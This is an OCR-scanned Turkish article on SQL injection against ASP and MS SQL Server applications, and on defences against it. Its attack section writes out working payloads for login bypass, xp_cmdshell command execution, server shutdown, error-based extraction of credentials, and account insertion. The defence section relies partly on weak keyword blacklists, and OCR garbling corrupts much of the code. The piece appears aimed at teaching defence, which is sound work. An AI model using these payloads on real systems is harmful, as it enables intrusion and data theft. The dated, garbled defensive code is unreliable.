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e-Glvenlik Evriminde Kritik Donem: Uygulama Guvenligi

SQL ENJEKSIYON SALDIRILARI
& KORUNMA YOLLARI

Soner Eker
Giris
“Kendi Uygulamalariniza Ne kadar guvenirsiniz?”

Dunyanin her tarafinda, kullanicilarina; kredi karti numaralari, kullanici bilgileri gibi gizli
kalmas1 gereken bilgilerin, Urtinlere ve siparislere ait verilerin saklandig1 ug-arka veri
depolanyla hizmet veren web siteleri bulunmaktadir. Ve genel olarak, web sitelerindeki
form aracihg: ile ahinan girdi ile veritabanindaki bilgiler filtrelendikten sonra sonucu
kullaniciya goénderen bu tur sistemlerde Yapisal Sorgulama Dili (Structured Query
Language - SQL) kullanilmaktadir. Uygulama icerisinde kullanilacak parametre degerleri
ahimrken kullamlan formun SQL Deyimini yeniden yapilandirabilecek bazi 6zel
karakterlere izin vermesiyle giivenlik problemleri ortaya ¢gikmaktadir.

Bu glivenlik problemleri kullamlarak bir uygulamanin arkasinda, bu uygulamaya destek
veren veri tabam Uzerindeki butun bilgilere ulasilabilir veya bilgiler tizerinde degisiklik
yapilabilir. Veya veri tabam sisteminin komutlari kullamlarak kullamlan sunucular
Uizerinde uygulama harici istenen islemler de yapilabilir. Bu problemlerden korunmak igin
de uygulama girdilerini bu tur karakterlere kars1 kontrol eden fonksiyonlarin kullaniimah
ve genis ¢aph uygulamalarin bu guvenlik agiklarini tasiyip tasimadigini anlamak igin
guvenlik denetimine tabi tutulmalidir.

Bir Uygulama Guvenligi Problemi

“Yapisal Sorgulama Dili Kullanim”

Yapisal Sorgulama Dili SQL’in uygulamalarda kullanimina érnek vermek gerekirse;

SELECT Nane, Address FROM Users WHERE User| D = ' 2081'

Seklindeki SQL Deyimi “Users” adh tablodan “2081” irtn ID si ile veritabanmina kayith
olan kisiye ait olan isim ve adres bilgilerini donecektir. Bu noktada muhtemel zayiflik,
kullamlan formun SQL Deyimini yeniden yapilandirabilecek bazi1 6zel karakterlere izin
vermesiyle ortaya c¢ikmaktadir. Cozimi ise girdilerden bu 06zel karakterlerin
filtrelenmesini saglayan fonksiyonlardir.

Hizla gelisen internet teknolojileri karsisinda yeni pazarda ge¢ olmadan yerini almak
isteyen miisterilerine daha kisa stirede daha kullamsh ve ucuz ¢éziimler sunmak zorunda
olan uygulama gelistiriciler bu suregte guvenlik gibi dnemli bir faktorl ikinci plana
atmaktadirlar.

Giderek yayginlasan ve medyanin haber potansiyelini olusturan; calinan kredi karti
numaralan, yer alti sitelerde dagitilan musteri bilgileri, sirket projeleri - yazismalan
yaklasan tehlikenin habercisi olmakla beraber halen bu tir kayiplarin yaratabilecegi
maddi sonuglan kavrayamayan ve hala “az maliyetle kurtanlan givenlik projeleri” ’yle
oviinen yoneticilere uyan niteligi tasimaktadir. Oyleki -herzaman bir adim 6nde olmay:

amagclayan- saldirganlar guivenligin en Ust seviyede olmasi beklenen devlet siteleri de
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dahil olmak Uzere pek c¢ok sisteme yonelik saldirilarina da ara vermeksizin devam
etmektedirler.

Maddi ve manevi degere sahip sirketinizi bir anlamda is ortaklarim olan uygulama
gelistiricilerin hazirladiklari uygulama Urinlerine emanet edildigini  dustinirsek,
“uygulamalarnniza ne kadar glvenirsiniz?” gibi bir soruya verilecek cevap blyik énem
tasimaktadir.

Boyle bir ortamda uygun glvenlik ¢6zimu igin ayrnlmis bitge bir liks degil her an
yapilabilecek bir saldinda sirketin ugrayacag1 zarar ortadan kaldirmak igin alinmasi
gereken 6nlem niteligi tasimaktadir.

Ornek Saldirlar

“Yapilacak Hamleleri Onceden Tahmin Edebilmek...”

Guvenlikte sikca kullanilan bir deyim; “Saldirganlardan korunabilmek icin onlar gibi
dustinmelisiniz!..”. Saldirganin sisteminize girmek igin kullanabilecegi yontemleri bilmek
bu saldirlardan korunabilmek igin alinan énlemleri daha saghkh kilacaktir.

Username : Orneklerde kullanacagimiz hedef ; Microsoft®
I Internet Information Server™’ dan Microsoft® SQL
Server™’a varsayilan sistem hesabi’ndan (sa) baglanan

ASP tabanli bir kullanici hesabi yoneticisi olacak.

Password :
I Form.asp : Username ve Password girdisini alan
form.Solda...
Login | Login.asp : Veritabani ile baglantiya gegen ve

girdinin dogrulugunu kontrol eden ASP kodu.
Kot Amach (%) imlecleri Yardimiyla izinsiz Giris Saglama
Kullamci “Username” & “Password” verisini Login.asp ye yolladiktan sonra .asp kodunun
yapacagi is verilen yoldaki veritabani ile baglant1 kurup ilgili tabloda Username ve
Password sttiinlarinda gonderilen verinin dogrulugunu kontrol etmek olacaktir. Bu islem
sonucunda eger sonug olumluysa kullaniclya; “Giris Yapildi” olumsuzsa; “Gegersiz
Kullamciad & Sifre” mesaji1 verilecektir.
Ornekleyecek olursak;

Username : ilkay
Password : 2081

Seklindeki kullanic1 girdisi asagidaki SQL Deyimini olusturacaktir;

SELECT count (*) FROM Users WHERE Usernane = 'il kay' AND Password =
' 2081'

ilk bakista sorun olmayan bir SQL Deyimi... Fakat saldirganin;

Username : ilkay
Password : “ OR 1=1--

Seklindeki girdilerle olusturacagi SQL Deyimi ise;

SELECT count (*) FROM Users WHERE Usernanme = 'ilkay' AND Password =
" OR 1=1 --°

Olacaktir ki, bu durumda girisin saglanmasi igin sart “ilkay” kullanici adina ait sifrenin
highirsey* olmasi veya ikinci bir opsiyon olarak 1=1 esitliginin saglanmasidir.

* Hicbisey = Bosluk




Sonug : 1=1 esitligi saglandigina gore saldir basariyla sonuglanacak ve “Giris Yapildi”
mesaj1 verilecektir.

Not : Microsoft® SQL Server™ “--* imlecinden sonra gelen yersiz kullamlmis tirnak
isaretlerini goz ardh edecektir. ilk bakista basit gibi gériinen ve sadece SQL Server’a ait
olan bu 6zellik ilerde érneklerden de anlasilacag Uizere saldirgana biyik kolayhk
saglayacaktir.

Uzaktan Cahstirnnimasi Mimkun Olan Prosedirler;

MS SQL Server’a varsayilan sistem hesabindan yaptigimiz baglanti SQL Enjeksiyon
saldinsinda muhtemel saldirgana sunucuda saklanan prosedurleri ¢cahstirabilmesi igin
gerekli haklarn tanyacaktir. Saldirganin kullanabilecegi prosedurlerden bir tanesi;
“master..xp_cmdshell” olabilir.

Username : ilkay
Password : '; EXEC master..xp_cmdshell ‘dir c:'--

Girdileriyle olusacak SQL Deyimi;

SELECT count(*) FROM Users WHERE Usernane = 'il kay' AND Password =
"', EXEC nmaster..xp_cndshell ‘dir c:'--'

Sonug : SQL Server Kullaniciad1 ve Sifreyi bulunduran stitunlar arayacaktir bulamadig
icin “Yanhs Kullaniciad1 & Sifre” mesajim verecektir fakat bu arada arka planda “dir c:”
komutunu gahstiracak ve saldirgan C stirlictstnin igerigine ulasacaktir.

SQL Server Hedef Alinarak Yapilan Saldinlar;

Yonetici haklarina sahip saldirgan silme,ekleme,degistirme...vb gibi komutlan rahatlikla
calistirabilecektir.

SHUTDOWN WITH NOWAIT SQL Server’in kritik komutlarindan bir tanesidir. Komutla
beraber SQL Server gorevine son verir.

Username : “; SHUTDOWN WITH NOWAIT--
Password : [Bos]

Bu girdilerle olusturulan SQL Deyimi;

SELECT User nane FROM Users WHERE User nane='"'; SHUTDOVWN W TH NOWMAI T;
--' AND Password=""

Sonug : SQL Server kullaniciadinin bulunamadigi mesajini verecektir. Fakat bununla
beraber arka planda diger komutu cahistirdig1 igin SQL Server kapanacaktir.

ODBC Hatalarindan Faydalanarak Yapilan Saldinlar;

SQL Server™in verdigi hatalardan faydalanarak veritabamndaki neredeyse tiim bilgilere
ulasmak mumkindur.

Hedef; http://Victim/Default.asp?id=10 seklinde urln ID leri ile ¢ahisan ASP tabanh bir
websitesi.

Saldirn SQL Server’in integer ve string cinsinden verileri birlikte gdnderememesinden
faydahnarak yapihr;

Gonderilen 10’ sayisina veritabanindan herhangi bir string eklenir.

http://VictimDefault.asp?i d=10 UNION SELECT TOP 1 TABLE NAME FROM
| NFORVATI ON_SCHEMA. TABLES- -

Not : “INFORMATION_SCHEMA.TABLES” sistem tablosu, sistemde bulunan diger tiim
tablolar hakkinda bilgi icerir. Deyimde kullanilan “TABLE_NAME” de yine tim tablo
isimlerini igerir.

Olusacak SQL Deyimi;

SELECT TOP 1 TABLE_NAME FROM | NFORVATI ON_SCHENMA. TABLES
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String -> Integer donusimini yapamayan SQL Server asagidaki hatayi verecektir.

M crosoft OLE DB Provider for ODBC Drivers error '80040e07
[Mcrosoft][ ODBC SQL Server Driver][SQ Server]Syntax error
converting the nvarchar value 'Tablel' to a columm of data type
int.

/Default.asp, line 5

Hata, saldirgana “Tablel” olarak buldugu cevabi integer a ceviremedigini (dolayisiyla
veritabamindaki ilk tablo adinin “Tablel” oldugunu) belirtmektedir. Saldirgan diger
tablolarin adini asagidaki sekilde 6grenebilir...

http://Victim Defaul t.asp?i d=10 UNI ON SELECT TOP 1 TABLE_NAVE FROM
| NFORMATI ON_SCHEMA. TABLES WHERE TABLE NAME NOT I N (' Tabl el )- -

Veya dogrudan LIKE komutunu kullanarak aradigi seye daha kolay yoldan ulasabilir;

http://Victim Defaul t.asp?i d=10 UNI ON SELECT TOP 1 TABLE_NAVE FROM
| NFORMATI ON_SCHEMA. TABLES WHERE TABLE_NAME LI KE ' 9%®25Logi n9®5' - -

SQL Server’in verecegi hata;

M crosoft OLE DB Provider for ODBC Drivers error '80040e07'
[Mcrosoft][ ODBC SQL Server Driver][SQ Server]Syntax error
converting the nvarchar value 'Adm n_Login' to a columm of data
type int.

/Default.asp, line 5

Admin_Login adinda bir tablo oldugunu ('jgrerjen saldirgan muhtemelen tablodaki ilk
kullaniciadi ve sifreye ulasmak isteyecektir. Izleyebilecegi yol ise;

http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Username FROM Admin Login--

Hata;

M crosoft OLE DB Provider for ODBC Drivers error '80040e07'
[Mcrosoft][ ODBC SQL Server Driver][SQ Server]Syntax error
converting the nvarchar value 'ilkay' to a colum of data type int.
/Default.asp, line 5

Bu sekilde “admin” kullaniciadimin varhgini dogrulayan saldirganin sifreyi ele gegirmek
icin kullanacag girdi;

http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Password FROM Admin_Login
WHERE Username='ilkay'--

Hata;

M crosoft OLE DB Provider for ODBC Drivers error '80040e07
[Mcrosoft][ ODBC SQL Server Driver][SQ Server]Syntax error
converting the nvarchar value '2081' to a colum of data type int.
/Default.asp, line 5

Sonug :

Username : ilkay
Password : 2081

Veritabanina Ekleme Yapma veya Veri Duzenleme;
Kullaniciadi ve sifre bilgisine ulasan muhtemel saldirgan benzer yontemleri ve
UPDATE,INSERT komutlarini kullanarak sifreyi degistirebilir veya daha temizi baska bir

kullanic1 hesab1 agabilir...

http://Victinm Default.asp?i d=10; UPDATE ' Adm n_Login' SET
' Password' = ' NewPwd' WHERE User nane='il kay' - -
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Yeni bir kullanici hesab icin;

http://VictimDefault.asp?i d=10; |NSERT | NTO ' Adni n_Logi n'
("Userl D, 'Usernane', 'Password', 'Details') VALUES
(666, ' Desperate Cry',"'2081',' NA")--

Nasil Korunmalh?

“Aksi Dogrulanincaya Kadar Tum Kullanmci Girdileri Kétuddr...”

Gelebilecek SQL Enjeksiyon saldirilarindan korunabilmek icin alinan 6nlemlerde temel
alinmas1 geren nokta... “Aksi dogrulanmincaya kadar tiim kullamci girdileri kotadar!”.

Kullanmcir Haklarimin Sinirlandinimas ;

Yaygin olarak yapilan hata; Web Server dan SQL Server a yapilan baglantilarda varsayilan
sistem hesab kullamimasi... Bu sekilde yonetici haklarina sahip olan saldirgan 6rneklerde
de gorulebilecegi tzere istegi komutu gahstirip istedigi ekleme,silme,dlzeltme eylemini
gerceklestirebilecektir. Bunu yerine yapilmasi gereken yeni bir kullanici hesabi olusturup
kullanicinin gahstirabilecegi komutlart simrlandirmak olacaktir.

Mesela sitenizden driinlerinizin incelenmesine ve bunlar arasindan siparis verilmesine izin
verecekseniz, “web_user” gibi bir kullamci ad1 olusturup Urinleri incelemek igin; Grunler
sutununda sadece “SELECT” kullanimina ve siparisleri igin; siparisler siitununda sadece
“INSERT” kullanimina izin vermeniz uygun olacaktir.

Girdilerde Tirnak imleclerinin (*) Kéti Amach Kullamiminin Engellenmesi ;

Yaygin SQL Enjeksiyon saldirilann SQL deyimlerinin girdilerdeki gereksiz (“) tirnak
isaretleri yardimiyla yeniden olusturulmasi sayesinde yapilir.

Kuguk bir filtreleme fonksiyonu veya tek tirnagi ¢ift tirnaga geviren bir fonksiyon
muhtemel bir saldiry1 engellmek igin yeterli olabilir.

ASP Kullanarak girdileri kontrol ederek degistiren bir fonksiyon kolayhkla yazilabilir;

<%

Functi on Repl aceQuot es(strWrds)

Repl aceQuot es = Repl ace(strWrds, "' ",""")
End Function

%>

Bu fonksiyonu bastaki drnekte kullanirsak;

SELECT count(*) FROM Users WHERE User name='il kay' AND Password=""
R 1=1 --'

seklinde olan deyim...

SELECT count(*) FROM Users WHERE Username='il kay' AND Password='"
R 1=1 --'

‘e donusecektir.
Form Girdilerinden Gereksiz Karakterlerin Elenmesi ;

SQL Enjeksiyon saldirilan genelde ““;, --,SELECT, INSERT ve xp_" gibi karakterlerin-
kelimelerin kullamlmasiyla yapildig icin génderilecek girdinin 6nce bir filtreleme
fonksiyonundan gegirilmesi muhtemel zayifligi engelleyebilir.Ornegin kullanmicidan E -
Mail adresini girmesi isteniyorsa harfler ve sayilarin yaninda sadece “ @,-, ,.”
karakterlerinin kullanilmasina izin verilmelidir.
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Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin gibi genel prosedurler,C/C++ tabanh
DLL ler, kullanict tarafhi fonksiyonlar...vb, izole edilmis bir sunucuya tasinmahdir.

Bazi zararh kelime-harfleri filteleyen ASP fonksiyonu asagida érneklenmistir;

<%

Function FilterBadWrds(strWrds)

di m BadWér ds

di m NewWor ds

BadWrds = array("SELECT", "DROP", ";", "--", "INSERT", "DELETE",
"xp_"

NewwWbr ds = strWrds

for i = 0 to uBound(BadWords)

NewWor ds = Repl ace( NewMrds, BadWords(i), "")

Next

Fi | t er BadWor ds = NewWbr ds
End Function
%>

Tirnak degistirme fonksiyonu ve filtreleme fonksiyonu beraber kullanilirsa;

SELECT User name FROM Users WHERE Usenane=''; EXEC
master..xp_cndshell 'dir c'; --' AND Password=""

Seklindeki SQL Deyimi...

SELECT User name FROM Users WHERE Usenane='"  EXEC nmster..
cmdshell “dir c:” ' AND Password=""

‘e donusecektir ki bu da herhangi bir kayit bulumadigi hatasin1 vermekten oteye
gitmeyecektir. Bu fonksiyonu kullanicidan gelen butin girdilere, adres satiri ifadelerine
ve cerezlerden gelen tim veriye uygulamamiz gelebilecek saldirinin éniine gececektir.

Girdi Uzunlugunun Sinirlandiriimast ;

Veritabamndaki ayrilan alamn uzunlugu 10 karakterlikse, formunuzda bu alan igin 50
karakter sigan bir text kutusuna sahip olmaniz sakincah olabilir. Ve miimkiin oldugu
kadar girdi uzunluklarini kisa tutmak muhtemel saldirty1 engellemek igin énlem
sayilabilir.

Girdi Cinsinin Kontrol Edilmesi ;

Formunuzdan girilen verinin istediginiz tirden bir veri olup olmadigin1 kontrol eden bir
fonksiyon kotti amagh kullanimlarda saldirgamin kullanabilecegi harf/say1 secenegini
kisitlayacaktir. Mesela, eger Uriin ID si igin formunuzdan girdi aliyorsaniz girdinin sayisal
bir ifade olup olmadigini kontrol eden bir fonksiyon fayda saglayacaktir.

Kullanmlan Veri Gonderme Metodu ;
Formunuz aracihgi ile topladiginmz verileri yollarken mutlaka “POST” metodunu kullanin

ki kullamcilariniz adres gubugunda girdikleri verilerle beraber form degerlerini
gorduklerinde akillarina farkh fikirler gelmesin.




Son SOz

“Herzaman bir adim 6nde!”

Aldigimiz guivenlik 6nlemleri veya (en iyi ihtimalle) yazip da kullanmay bir aliskanhk
haline getiremediginiz gtivenlik politikalan sizi gtvenlik problemlerine kars1 koruyabilir
mi? Eger guvenlik ile ilgili problemleri yonetmeyi stire¢ temelli bir glivenlik bilinci
icerisinde ele almiyorsamz higbir glivenlik triind, bir glivenlik kaybina ugramamzi
engelleyemez.

Bilgi sistemleri altyapimzi tasidiklan givenlik zaaflarina karsi diizenli olarak kontrol
ettirmek, risklerinizi takip etmek, dogru teknolojiyi dogru yerde ve dogru sekilde
kullanmamzi saglayacak guvenlik politikalarinizi olusturup giivenlik probleminizi stirekli
yonetebilecek olgunluga ulasmak hedeflenmelidir. Bilgi sistemlerinin énemli bir kismin
olusturan uygulamalarn tasiyabilecegi gtivenlik sorunlar uzun siredir ihmal
edilmelerinden dolay1, guiniimuzin en popdler sistem sizma noktalarinm teskil
etmektedirler. Bu nedenle uygulama guvenligine iliskin gereken énemi vermeniz,
guvenlik denetimi yaptirmamz ve kurumunuzun bilgi givenligi yonetim sistemini
olusturmaya bir yerinden baslamamzi 6neriyoruz.




